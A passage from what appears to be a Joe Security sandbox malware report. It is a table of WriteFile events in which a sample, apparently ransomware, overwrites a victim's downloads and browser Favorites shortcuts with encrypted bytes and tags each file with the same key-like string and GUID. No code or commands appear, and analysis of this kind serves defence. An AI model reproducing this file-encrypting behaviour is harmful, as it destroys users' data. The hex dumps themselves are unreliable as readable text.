55 55 fd 75 fd 66 43 fd 75 
fd fd 67 fd fd 64 fd fd 2f fd 
fd 3d 50 7c 63 5f fd 69 19 
20 47 25 5b 2a 4c fd fd fd 
fd 49 fd fd 43 23 40 0a 5f 
16 fd 1d 40 5e fd fd fd 5b 
19 37 5b 57 fd fd 45 fd 1d 
fd 04 5b 07 fd 0d 07 25 
36 fd 75 6e fd 38 7f 34 fd 
fd 3a 39 18 fd 2f fd a6 12 
4f fd 01 fd fd fd fd fd 5a fd 
22 fd fd fd 1b fd 2e fd 7c 
fd fd 0b 32 5e 2a 2c 2d 
75 70 5e 58 74 fd fd 4c fd 
75 08 5f 11 fd 
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24 11 7e fd 3d fd 1a 74 
3a fd fd 20 48 3d 31 5d 
43 6d 08 24 12 10 fd 55 
0c 26 4e 19 fd fd 2f 7f fd 
fd fd fd fd 54 95 71 e0 4e 
fd fd fd fd 41 7d fd fd 05 
60 02 fd cf 65 fd fd 29 fd 
6b fd 12 0b fd 20 fd 2c 13 
26 56 41 fd 0a 4f fd 3f fd 
20 fd 06 fd 70 fd fd 32 fd 
66 fd 34 fd 34 fd fd 3d fd 
fd 1e fd fd fd 00 43 62 fd 
fd 7b 2e 3d 51 3a fd fd fd 
6a fd 53 fd fd fd fd 28 0e 
fd fd fd fd fd fd 6f fd 36 51 
3c fd fd 79 fd 73 fd 03 61 
67 5a fd fd 2f 3e 43 fd fd 
fd fd fd fd 67 79 65 fd fd 
fd 25 fd fd fd fd 4e 45 7c 
42 0b 7c 3c fd fd 1d fd fd 
29 00 fd 56 01 fd fd 13 fd 
35 60 fd 7b 49 38 21 1a 
fd fd 71 fd 6c 2a fd fd 19 
fd 58 fd 68 6d fd 3b 08 3a 
56 49 fd 76 31 6d 39 78 
74 10 fd 44 fd 31 22 05 
56 fd fd 2a 
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C:\Users\user\Downloads\WUTJSC
BCFX.jpg

5 1021 fd fd fd fd fd 3c 7b 76 fd 
5d 40 2a fd 79 fd 0e 0d 
62 3d fd fd 70 fd 63 fd fd 
fd 19 fd 27 17 6c 6e 37 fd 
fd 26 41 73 73 6e fd 65 fd 
13 6f fd 50 fd fd 7b fd fd 
40 fd fd 32 34 18 fd 12 7c 
4e 7e 4b fd 1d fd 23 38 fd 
7f 20 fd 75 fd 68 fd 31 64 
10 5d 5d fd 0f fd fd 7e fd 
3a 19 48 fd 7c 61 fd 4a 
4e 16 fd 42 5b fd 70 40 fd 
3c 04 fd 64 fd 42 fd 2f 48 
fd 0b fd fd 72 71 fd fd 44 
fd 48 fd 7b 03 42 41 4a 
62 fd 5c 3c fd fd 04 4a fd 
2c 07 fd 59 fd 4c 6c 23 6a 
fd 6d fd ed 0d fd 56 fd 1a 
fd fd fd 69 3a 0a 68 6f 64 
14 fd 42 fd fd 6c 77 fd fd 
50 7a dc fd 22 7a 0b d5 
0a ae fd fd 30 70 fd fd 2b 
56 fd fd 26 fd 79 3a 29 48 
4d 2c fd 72 fd fd 53 15 7c 
04 fd fd 52 18 1a fd 62 62 
26 62 fd fd 13 fd 38 3e fd 
fd 4d fd fd 4f 34 5e 35 fd 
0b 01 68 fd fd fd 
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fd 70 fd fd 10 fd 59 fd fd 
10 7c 51 33 fd fd fd fd 34 
fd 3a fd 7a fd fd fd 3c 3c 
2e 3a fd 66 fd 00 fd fd 39 
fd fd 57 fd 0f 4e fd fd fd 
46 8c fd aa 60 fd fd 0f 2c 
70 fd fd 26 71 15 13 5c 
05 55 07 61 50 fd 6e fd 
9e fd 04 fd 27 58 46 66 5f 
07 69 50 1e fd 2e fd 43 fd 
79 fd 5b 5d 3b 4d fd 54 fd 
3d fd 48 29 fd fd 39 fd 18 
67 32 fd fd 12 fd 12 37 0d 
fd fd 2e fd 49 fd fd 6c fd 
4e fd 2c fd fd fd fd fd fd 5b 
51 27 1b fd fd 5e 59 fd 07 
fd 31 71 fd 1c fd fd 63 44 
fd 73 39 fd 72 64 4f 7e fd 
37 23 44 fd fd 27 fd fd fd 
7c 50 fd 56 fd fd 62 fd 4c 
2c fd 5f 10 02 56 fd 12 11 
fd fd 7f 

0<zGzg_Rg.9y%4;='{i_p
Y|Q34:z<<
.:f9WNF`,p&\UaPn'XFf_i
P.Cy[];MT=H)9g27.IlN,
[Q'^Y1qcDs9rdO~7#
D'|PVbL,_V

success or wait 1 4115FA WriteFile

C:\Users\user\Downloads\WUTJSC
BCFX.jpg

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Downloads\WUTJSC
BCFX.jpg

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Copyright Joe Security LLC 2022 Page 138 of 219



C:\Users\user\Downloads\YPSIAC
HYXW.xlsx

5 1021 0d 0d 3c fd 7a fd fd 0c fd 
56 02 2e 3f fd fd fd fd 52 
fd 0d 4f fd 70 fd fd fd 79 
fd 76 3f 36 0e fd 33 fd 6b 
0c 61 fd 13 70 fd 78 3c 
19 fd 10 58 fd fd 7e fd fd 
38 63 fd 73 fd d1 fd 1f fd 
30 63 67 25 1f 72 fd fd 4f 
fd fd 02 fd 54 fd 33 fd 55 
fd fd 15 fd 30 55 32 fd 71 
fd fd ee 02 47 61 4d 4b 
50 fd 6a fd 58 fd fd fd 28 
fd fd 12 fd 5b 23 fd 0f 42 
02 69 fd 5e 62 0d 1a 61 
fd 02 04 fd fd 25 77 fd fd 
2d 2c fd 23 fd 3d 57 0e fd 
1d fd 2d fd fd fd fd fd fd 59 
27 fd fd fd 01 fd fd 25 75 
49 14 4b 06 fd fd 72 fd fd 
75 19 71 fd 39 fd fd 6b fd 
03 62 fd fd 66 fd 2b 26 fd 
0e 5f fd 4a 14 6a fd 24 fd 
62 fd 5d fd 2a fd fd 60 75 
6f d2 24 0e fd 79 fd 6d fd 
65 25 70 6f 0f fd fd 47 fd 
fd 4a 66 fd fd fd 73 fd 07 
23 fd fd fd fd 43 fd fd 55 
14 fd fd 
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fd 4a 7b 03 fd fd fd 73 fd 
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58 fd fd 07 fd fd 1c 60 39 
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42 12 64 67 2a 61 7e 17 
fd fd 3c fd fd fd 3c fd 2f fd 
fd 50 fd fd 08 fd 40 fd 30 
fd 14 60 09 2b fd 4d fd fd 
7a fd fd fd fd 37 20 4b 6d 
fd 18 4a fd 1a 0a 3f fd fd 
13 00 5f 04 fd 6f 4d fd 24 
fd 1a 30 fd fd 0b 5b fd 62 
ca 6d 48 fd fd fd 7a fd 34 
fd 08 fd fd 06 42 07 04 18 
14 fd 6f fd d8 7d fd 31 fd 
7b fd fd 07 fd 7b fd 1d fd 
7d 33 08 4f fd 1a fd 5e 28 
17 fd fd fd fd 2c fd fd 5f fd 
43 fd 2a 4b 20 fd 08 2b 
40 78 70 fd fd 23 fd 14 32 
fd 39 fd fd fd 62 fd 4b fd 
fd 3b 53 fd 
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fd 11 2b fd 5a 5d 03 fd 49 
fd 17 fd b7 fd 1c fd 6b fd 
30 68 fd fd 59 fd fd 01 fd 
fd fd fd fd 35 40 1d 59 fd 
fd fd 0c 0c fd fd 1d fd 04 
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C:\Users\user\Favorites\Amazon.url 111 256 69 fd 68 fd 29 fd fd fd 17 
48 21 05 fd 28 fd fd fd 4e 
fd 55 29 3b fd fd fd 51 66 
fd fd fd 52 fd fd 73 57 fd 
4c fd 22 fd fd fd 55 34 1c 
3b 59 62 fd fd 5d fd 43 7e 
43 50 fd fd fd 0f fd 92 70 
1d fd 75 fd 03 2c 0f 7a 1d 
fd 57 fd fd 50 fd 6f fd 19 
29 68 0a fd 6f 5a fd 5d 4c 
fd 08 48 fd fd 35 24 fd 1c 
fd fd b5 06 45 0e fd fd 2a 
49 4c fd fd fd fd fd 07 fd 
5a 06 4c fd fd 06 18 fd 18 
fd fd fd 51 1c fd b0 7a 53 
42 fd 4a 05 02 fd 2b fd 77 
4b 7f 43 fd fd 36 18 fd 28 
3a fd 48 3b fd fd 7d 47 2b 
fd 27 76 02 1e fd fd 06 fd 
58 fd 03 4d 3e fd 56 fd 01 
2c fd 73 4a fd fd 5c fd 6a 
fd fd 6d 6d fd 61 5d 26 7c 
fd 75 fd 69 fd fd fd 5a 09 
91 2d fd fd fd fd 75 76 6e 
fd fd fd 1e 57 fd fd 04 fd 
51 4e 37 fd fd fd fd fd fd 
12 5a fd 75 fd 7d 38 fd 75 
fd 
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29 59 7a fd 26 fd fd 39 fd 
3e 3f fd 4c 22 16 fd 2d 76 
fd 4a 77 73 51 3a 7e fd 
1b 19 fd fd fd 01 fd 70 fd 
07 fd 3d 4a 23 fd 4a 43 7f 
72 25 49 4e fd 35 fd 16 
26 fd 6f fd 2c fd 76 40 fd 
07 7c fd fd 2e fd 29 fd 07 
fd fd 6a 44 fd fd fd 12 fd 
4e 1e 08 fd fd fd 7c fd 66 
4b fd 5a 45 5c fd fd 4c 28 
11 47 fd 5e fd fd fd 2d 3f 
fd 64 fd 7d fd 15 fd 3e fd 
c3 fd 48 7d fd 42 fd fd 07 
fd fd fd 59 fd 7f fd fd fd 15 
08 11 4e fd fd 24 fd fd fd 
58 52 67 73 fd 54 33 fd 
21 43 54 25 3f fd fd 2a 5d 
fd 19 12 79 fd 49 22 1a 
7d fd 18 08 6a 66 24 fd fd 
fd 3c 
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C:\Users\user\Favorites\Bing.url 208 256 29 13 16 6a fd 32 fd fd 7d 
3d fd fd 57 0f 4d fd bd fd 
56 37 21 4e fd 15 28 7a 
64 2c fd fd 1c 40 04 fd fd 
6f fd e9 14 1b fd fd fd 1e 
fd fd fd fd 7d fd 5c fd fd fd 
fd fd fd fd fd fd fd 59 71 3f 
fd fd 74 06 fd 0f 33 fd fd 
fd fd 03 1f fd fd 17 46 fd 
7d fd fd fd fd 7d 43 2c fd 
fd 28 69 5f 78 7d fd 37 fd 
fd 55 3a fd 69 8b 13 71 
15 fd fd 0f fd fd 77 10 5f 
8f 03 60 fd 16 fd fd fd fd 
fd 28 fd fd 34 fd 10 fd fd 
65 79 59 0f 46 1c 07 fd 
47 39 fd 71 ab 00 40 fd 
62 fd fd fd 4b 28 fd fd 56 
fd 62 51 fd fd 15 fd 1b 5b 
fd 72 23 72 fd fd fd fd 47 
30 fd fd a4 fd fd 28 68 fd 
f6 38 4c fd fd 32 00 fd fd 
13 fd fd 00 fd fd 53 79 3f 
fd 04 fd 24 2d 41 50 36 
04 08 51 fd 11 58 5a 7e 
3e fd fd fd 6b fd fd 72 fd 
fd fd 1c fd 59 4e 14 fd 
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03 2c 23 48 fd fd 6f fd 3c 
fd 1a 35 59 48 fd 1a fd 27 
41 fd fd fd 08 77 fd 06 68 
60 6b 63 7a 20 47 40 41 
fd 60 4d 7a 4e fd 4a fd 60 
24 41 fd 20 45 fd 4d 63 fd 
fd 5c 13 79 15 fd 11 58 fd 
6c fd 64 63 fd fd 51 fd fd 
fd 35 fd fd 1e fd 3c fd fd 
08 fd 3a 23 fd 6a 26 

eFxT6,#Ho<5YH'Awh`kc
zG@A`MzNJ`$A 
EMc\yXldcQ5<:#j&

success or wait 1 411859 WriteFile

C:\Users\user\Favorites\Facebook.url 113 256 fd fd 54 11 fd fd fd 75 fd 
95 2c 4a fd 18 24 fd 6f b4 
7a fd 57 54 fd 7a 1e fd fd 
41 40 fd fd fd fd 0c 02 7e 
30 fd 57 4d 5c fd fd 04 54 
fd fd fd 16 09 61 fd fd 66 
03 36 8f fd 5a 19 33 09 fd 
fd 70 6e fd 41 3b fd 36 fd 
3f 3d fd 40 fd fd 4a fd fd 
fd 79 47 54 fd 54 30 fd 36 
fd 04 6a 3f 02 08 23 28 fd 
23 fd fd fd 05 fd fd 2f 22 
fd fd 0a 06 fd fd fd 0d 68 
fd 31 fd 22 fd 30 3c 1b 6e 
65 fd 6f fd 32 2a 7a fd 67 
52 1d fd fd fd 3d 6e 39 71 
55 fd fd ed 40 2a fd 09 fd 
fd fd 36 74 57 fd 77 78 fd 
fd 54 66 fd fd 06 fd fd 49 
fd 2f 5e 44 fd fd fd 59 fd 
fd 08 fd 68 09 fd 49 fd 45 
7c 15 3d fd 5d 06 fd 02 
76 32 27 15 fd 43 fd 35 
65 fd 62 fd 50 6d 48 1f 63 
61 06 54 fd 71 fd fd 11 0f 
fd 4f fd fd fd fd fd fd 00 fd 
2b 3e 62 02 3f 20 fd 04 
36 fd fd 

Tu,J$ozWTzA@~0WM\T
af6Z3pnA;6?=
@JyGTT06j?#
(#/"h1"0<neo2*zgR=n
9qU@*6tWwxTfI/^DYhIE|
=]v2'C5ebPmHcaTqO>b? 
6

success or wait 1 4115FA WriteFile

C:\Users\user\Favorites\Facebook.url 369 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\Favorites\Facebook.url 409 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\Favorites\Google.url 5 106 fd fd fd fd fd 6a 79 09 4b 
15 fd 4a 4d 7e fd fd 63 fd 
41 3d 10 fd fd fd fd 08 5c 
70 fd fd fd 5e 44 7a 30 7d 
64 2c 3f 71 52 fd fd 4e fd 
39 f4 fd fd fd 35 fd 70 53 
fd fd fd 28 4a fd fd 64 fd 
fd fd 70 fd 00 07 23 58 0d 
fd fd 5e 4b 31 fd fd fd fd 
1b fd 7d fd fd 54 37 fd fd 
50 50 5b fd 75 fd 57 35 fd 
36 

jyKM~cA=\pDz0}d,qRN9
5pS(Jdp#X^
K1}T7PP[uW56

success or wait 1 411859 WriteFile

C:\Users\user\Favorites\Google.url 111 256 56 fd 38 fd 51 49 07 fd 3e 
fd fd fd 06 61 58 fd fd 12 
49 2b 55 2d fd fd 34 2d 
6c fd fd fd 67 fd 4a 23 fd 
2a fd 16 fd fd 48 61 10 7d 
68 fd 07 fd 1d 14 fd fd fd 
fd 08 5c fd 43 fd 01 4b 49 
11 52 0a fd 76 79 1b 74 
11 fd fd fd 69 70 6a fd 2c 
fd 75 32 fd 2b fd 23 47 fd 
40 7d fd 54 6a 1d fd fd 4e 
fd 2e 2b fd fd fd fd fd 3f 
34 fd fd fd 73 06 79 fd 23 
fd fd fd fd 45 38 4d fd 75 
fd 3d 34 17 fd fd 79 fd 48 
2d c1 14 fd fd 3e 52 fd fd 
2e 74 fd 2e 6c fd 01 56 fd 
53 63 fd 39 16 44 20 fd 
60 02 fd 4a 57 6d 10 44 
7e 05 74 17 fd 35 1f 27 1f 
38 fd 01 7a 65 45 33 fd fd 
43 f1 5e fd 6a fd 14 32 fd 
fd fd 54 fd fd 37 6e 60 fd 
35 2b fd 29 77 22 fd 62 fd 
fd fd 02 fd fd 20 2e 12 3b 
30 fd 25 fd 09 48 62 fd fd 
5d 45 0c fd fd 76 09 fd 11 
fd fd 1d 5c 

V8I>aXI+U--
lgJ#*Ha}h\CKIvytipj
,u2+#G@}TjN.+?
4sy#E8Mu=4yH->R.
t.VSc9D 
`JWmD~t5'8zeE3C^j2T7n
`5+)wb .;0%Hb]Ev\

success or wait 1 4115FA WriteFile

C:\Users\user\Favorites\Google.url 367 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Favorites\Google.url 407 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\Favorites\Live.url 5 104 30 67 00 56 6b fd 46 29 
fd 3d 60 fd 77 fd fd 6a fd 
fd 05 54 fd fd 46 4f fd fd 
fd 02 fd fd 12 66 fd 59 fd 
24 fd fd fd 16 fd 7c 49 35 
fd fd 50 fd fd 5c fd fd fd 
6d fd 3a 5e fd fd fd 2b 75 
fd 3d 36 6b fd 5b fd fd fd 
fd 46 52 fd 55 fd fd 41 3e 
06 72 fd 23 fd fd fd 37 47 
fd fd fd 1b fd 32 6c fd fd 
fd 

gVkF)=`wjTFOfY$|I5P\m:
^+u=6k[FRUA>r#7G2l

success or wait 1 411859 WriteFile
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C:\Users\user\Favorites\Live.url 109 256 fd 38 fd fd fd fd fd fd 0f fd 
6f 17 47 fd 57 7c 21 fd 36 
fd 69 08 fd fd fd 23 67 63 
fd 05 fd fd fd 3e fd fd fd 
7b 11 fd fd 4a 7e fd fe 3a 
fd fd 54 59 18 fd fd 0c 4e 
6d fd 47 fd 69 50 29 fd 75 
1e fd 23 40 fd fd 3a 54 12 
62 17 fd 38 fd 70 fd fd c6 
fd 30 5a 92 fd 0b fd 67 54 
fd 59 33 42 fd 27 6f 5f 20 
fd 3a 4f fd 57 22 12 0d fd 
fd 2d fd 4f fd 28 fd 66 3a 
fd 2c fd 22 fd fd 65 fd fd 
4a fd 3a 3b fd 44 fd 32 fd 
fd 14 1d 60 2f fd fd fd 2a 
3b 30 19 fd 30 fd 30 00 
21 6a 7e fd fd 6e fd 68 21 
66 08 32 6c fd 5c 2b 6c 0f 
25 46 27 55 fd fd fd fd fd 
11 fd 36 fd 37 fd 54 2c 1a 
fd 7b 7f 13 fd fd fd 0f 5f fd 
fd 29 fd 7a fd 22 71 64 fd 
25 1d 14 fd fd 5d 7b fd 57 
14 fd 1c 66 fd 0a 51 22 
61 34 44 5c 79 26 fd 01 
26 2f fd fd fd 02 6d fd fd 
4d 

8oGW|!6i#gc>
{J~:TYNmGiP)u#@:Tb
8p0ZgY3B'o_ :OW"-
O(f:,"eJ:;2/*
;000!j~nh!f2l\+l%F'U67T,
{_)z"qd%]
{WfQ"a4D\y&&/mM

success or wait 1 4115FA WriteFile

C:\Users\user\Favorites\Live.url 365 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Favorites\Live.url 405 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\Favorites\NYTimes.url 5 107 16 35 08 fd fd fd 12 fd fd 
fd fd 01 5d 84 fd fd fd 5c 
fd fd 16 fd fd 35 74 6e 5c 
5b 4e 27 14 30 fd 15 fd fd 
a1 fd fd fd fd 79 fd 15 fd 
11 fd 63 7d fd 38 73 1e 1f 
6c 36 fd fd 5a 40 fd fd fd 
62 fd fd 8e 81 fd 7e b3 fd 
fd 11 ec fd fd 52 fd 5c fd 
fd 1c 3d fd 17 3a 14 65 
76 fd 0c 01 fd fd 

5]\5tn\
[N'0yc}8sl6Z@b~R\=:e

success or wait 1 411859 WriteFile

C:\Users\user\Favorites\NYTimes.url 112 256 fd 0a 71 2c fd 11 fd 69 13 
fd fd 6e 2d fd 2e fd 68 fd 
04 fd fd 21 1f 7a 00 05 40 
42 fd fd fd 16 fd 4a fd 46 
74 77 3e fd 48 36 4b fd 
7e 7b 57 fd 4c 4e 39 fd fd 
fd 79 2c fd fd fd fd fd fd fd 
0f fd 7c 58 fd 47 7b fd fd 
72 fd 33 fd fd fd 4a fd 0d 
0a fd 4e fd 4c fd fd 31 fd 
27 5a 4b fd 1e 63 40 07 
4f 50 41 fd fd 74 fd 5e 13 
58 5e fd fd 29 fd fd 59 4d 
11 73 fd 37 fd 07 99 61 
14 13 64 5c 1a 65 fd 1e 
fd fd fd 0b 46 76 52 fd 69 
6e fd 0f 71 69 39 fd 0f 53 
95 3f fd fd fd fd fd 57 3e 
35 40 54 7e 29 6b 0d fd 
03 3f 7c 26 15 fd fd 6b fd 
fd fd 4c fd 0e fd 4c fd fd 
41 fd 31 fd 16 fd fd fd 33 
2f 2a fd 05 fd fd fd fd 65 
fd 75 fd 62 fd fd fd 43 27 
fd 4a fd fd 5c 7f fd fd fd 1f 
62 6e fd fd fd 6a fd fd fd 
fd 67 5d fd fd 60 fd 5f 00 
0e 

q,n-
.!z@JFtw>H6K{LN9y,|XG
{r3JN
L1'ZKc@OAt^X^)Ms7ade
FvRinqi9S?W>5@T~)k?
|&kLLA13/*eubC'J\bnjg]`_

success or wait 1 4115FA WriteFile

C:\Users\user\Favorites\NYTimes.url 368 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Copyright Joe Security LLC 2022 Page 143 of 219



C:\Users\user\Favorites\NYTimes.url 408 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\Favorites\Reddit.url 5 106 fd c1 b8 2a fd fd fd 17 fd 
fd fd 1f 7f 1e 1a fd 52 4f 
5a 68 51 fd 7e fd fd 73 06 
64 fd 4b fd 5c fd 13 fd 5b 
26 fd 6e fd 41 fd 20 6e 53 
fd 35 fd fd 05 fd 28 41 fd 
64 36 7c fd fd 2e 45 45 
2b fd fd 5c 6a fd fd fd 3c 
1b 4a a8 fd 22 fd fd fd fd 
00 63 58 67 15 fd fd fd fd 
fd 7f fd fd fd 3a fd 

*ROZhQ~sdK\[&nA 
nS5(Ad6|.E+\j<J"cXg:

success or wait 1 411859 WriteFile

C:\Users\user\Favorites\Reddit.url 111 256 0e 79 a2 fd fd fd fd 61 51 
fd fd fd 5c fd fd fd 5a 5f fd 
fd 21 fd fd 42 20 5f 12 fd 
fd 19 09 fd fd 7b 6d 78 fd 
fd fd 47 4b 4e 4b fd 31 5e 
45 fd fd 25 2f 32 fd 0a fd 
1e fd 51 fd fd 19 fd 62 0b 
fd 74 12 fd fd fd 3d 58 fd 
fd fd fd 0a 49 fd 4b 11 48 
34 4b fd 02 fd 33 0c fd 1a 
23 32 fd 6f 02 fd 77 fd fd 
4e fd fd fd 20 25 29 06 0e 
fd fd 14 fd 3f 02 fd 4b 07 
63 67 fd 26 fd fd 6a 78 fd 
fd e7 56 19 fd 0e 61 fd fd 
fd 02 57 4e fd 3a fd fd 1a 
0e 49 fd fd 74 01 fd fd 22 
5a fd 43 fd 09 fd fd 5a fd 
1b f3 64 7c 4e fd fd 49 48 
fd fd 4d 67 5b 2f fd 07 81 
fd fd 05 fd fd 7a 41 65 fd 
2a fd fd 4c fd 63 fd 65 3b 
69 54 3c 2a 5a 7d fd 2b 
ca 5a fd fd 71 fd fd 6c fd 
fd fd 63 fd 02 fd fd 0a 6d 
fd 1c fd 47 fd 55 f2 45 fd 
fd 31 fd 28 29 15 

yaQ\Z_!B 
_{mxGKNK1^E%/2Qbt=X
IKH4K3#2owN %)?
Kcg&jxVaWN:ItZCZd
|NIHMg[/zAe*Lce;iT<*Z}+
ZqlcmGUE1()

success or wait 1 4115FA WriteFile

C:\Users\user\Favorites\Reddit.url 367 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Favorites\Reddit.url 407 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\Favorites\Twitter.url 5 107 fd fd fd fd 01 fd fd 34 fd fd 
fd 1c 2a fd fd 21 29 fd fd 
3e fd 1d 4a 7a fd 6f fd 24 
fd 0e fd fd 3b fd fd fd 67 
59 fd fd fd 7e 20 fd 32 0c 
2e fd 07 24 42 47 6f 78 
7d fd 16 0a fd fd 7f e4 4a 
09 fd 44 fd 0f fd 42 fd fd 
17 fd 3f 21 fd fd 13 fd 79 
3f fd 56 fd fd 57 4e fd fd 
2a fd fd fd 00 2b 77 66 fd 
fd 

4*)>Jz$;gY~ 
2.$BGox}JDB?!y?VWN
*+wf

success or wait 1 411859 WriteFile
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C:\Users\user\Favorites\Twitter.url 112 256 13 4b fd fd fd fd 65 5c 50 
fd 73 24 fd fd 66 73 4a fd 
77 46 1d fd fd 11 fd fd fd 
7b fd fd fd 37 fd 41 3b fd 
fd 09 76 fd 0b fd 5e 73 6a 
fd fd 2c fd 2b 10 7c 66 fd 
4c fd fd fd 4e 06 fd fd fd 
4b 20 5c 49 0b fd 53 fd 
5a 1b fd 6b fd 20 33 38 fd 
fd 78 74 01 2c 06 1e 2c 
fd fd 0c fd fd fd ce 09 60 
fd fd fd 71 52 72 65 fd 4a 
36 71 fd 3b fd fd fd 2d 57 
fd 3d 19 fd fd fd 3b 18 4f 
fd fd fd 1d fd 05 fd fd 28 
fd fd 10 2c 07 5d 06 fd 7f 
fd fd 19 37 fd fd fd 48 40 
25 fd e0 1e fd 47 fd 33 fd 
6a 7e 70 fd 33 37 fd 67 
41 fd fd fd 32 fd 07 fd fd 
fd 26 fd 6a fd 6b 45 fd 35 
fd 4f 48 fd fd fd fd fd 4a fd 
fd fd 64 45 22 69 29 fd 5d 
4c fd fd fd fd 70 2c fd 67 
fd 39 fd 15 fd 4e fd 06 7d 
fd 41 5a 07 1f 14 6f fd 3c 
fd c3 fd b0 3f 31 fd 5c 59 
fd fd 

e\Ps$fsJwF{7A;v^sj,+|fLN
K \ISZk 
38x,,`qRreJ6q;W=;O(,]7H
@%G3j
~p37gA2&jkE5OHJdE"i)]
Lp,g9N}AZo<?1\Y

success or wait 1 4115FA WriteFile

C:\Users\user\Favorites\Twitter.url 368 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Favorites\Twitter.url 408 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

C:\Users\user\Favorites\Wikipedia.url 5 109 7c fd 05 60 fd fd 13 31 fd 
01 6e fd 66 0c fd fd 5b fd 
fd fd fd fd fd 1e fd 0d fd 
67 78 2f 11 3d 97 6e fd 
43 fd fd 30 67 fd 65 7e fd 
3d fd fd 3f fd 06 fd 06 5b 
43 73 fd 71 07 fd fd fd 02 
33 3d fd 2f 4b 62 2a 6a 
33 fd fd 69 fd fd 50 6d 6a 
5e eb fd fd 4c 58 fd fd fd 
3b 24 fd fd 19 fd 61 59 fd 
fd 21 55 fd fd fd 

|`1nf[gx/=nC0ge~=?
[Cq3=/Kb*j3iPmj^LX;$aY!

success or wait 1 411859 WriteFile

C:\Users\user\Favorites\Wikipedia.url 114 256 50 07 03 5b 21 fd 4a 30 
40 fd fd fd fd fd fd 7f fd 77 
fd fd 73 18 20 11 34 4f 59 
fd fd fd 28 fd 20 fd fd 45 
fd fd 36 fd 17 32 fd fd fd 
fd 75 fd fd fd 00 fd fd 64 
02 3e fd 46 02 fd 2d 4c 
4e fd fd 3f 46 2c 12 5c 6c 
3c 2e fd fd 2e fd 78 04 69 
5d fd 4a fd fd fd 01 fd 2d 
fd 60 4b 74 71 fd 7b 64 fd 
1e fd 61 3d fd 38 fd fd 4e 
45 18 28 1b fd fd fd fd fd 
5f fd 77 55 fd 14 72 24 4c 
62 fd 0b fd 09 fd 5b 6f 51 
73 23 07 2e fd 70 b4 07 
78 ac f2 38 c4 0e 42 fd fd 
fd f4 32 fd fd 6e fd fd fd fd 
fd 32 3c fd 4f fd fd fd 0d 
72 42 35 01 fd fd fd fd 7e 
fd fd 03 44 7e 38 fd 29 fd 
0b 07 fd fd 0e 11 78 fd 4a 
fd 1a fd fd 44 38 17 fd 0b 
49 fd 22 fd 21 fd 7a 71 fd 
fd 24 fd fd fd fd 42 05 fd 
